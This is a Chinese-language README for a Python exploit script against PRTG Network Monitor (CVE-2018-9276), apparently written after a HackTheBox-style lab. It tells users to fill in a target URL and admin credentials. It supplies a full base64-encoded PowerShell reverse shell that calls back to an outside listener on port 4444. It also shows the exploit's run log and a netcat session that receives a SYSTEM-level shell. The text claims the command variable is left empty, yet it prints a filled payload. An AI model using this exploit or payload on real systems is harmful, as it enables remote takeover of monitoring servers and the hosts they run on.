已验证的 PRTG 网络监视器远程代码执行

基于 https://www.exploit-db.com/exploits/46527

使用方法：只需手动编辑脚本，按如下方式填入目标 URL、管理员用户名和密码：

TARGET = "http://10.129.15.52"  
USER = "prtgadmin"  
PASS = "PrTg@dmin2019"  

然后在第 110 行插入你想要执行的任意命令。我建议从 revshells.com 获取 base64 编码的反向 shell，以便立即回连到你的监听器。

注意：我在脚本中将 CMD 变量留空，方便你按需自定义。

CMD = "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA1AC4AOQAzACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=="  

直接执行脚本（不带任何参数），你的监听器应该就能收到回连：

┌──(root㉿user)-[/run/…/user/2024/HTBox/jerry]  
└─# python3 CVE-2018-9276.py  
[*] Attempting login as: prtgadmin  
[+] Successfully logged in      
[*] Creating malicious notification...        
[+] Notification created. ID: 2019  
[*] Triggering notification test...  
[+] Payload queued successfully.  
[*] Deleting notification 2019...  
[+] Cleanup complete.  
[*] Exploit cycle finished. Check target.  

┌──(root㉿user)-[/home/user]  
└─# rlwrap nc -lvnp 4444  
listening on [any] 4444 ...  
connect to [10.10.15.93] from (UNKNOWN) [10.129.15.52] 50466  
whoami  
nt authority\system  
PS C:\Windows\system32>  

我注意到之前没有针对此漏洞的 Python 脚本，所以觉得拼凑出一个来会不错。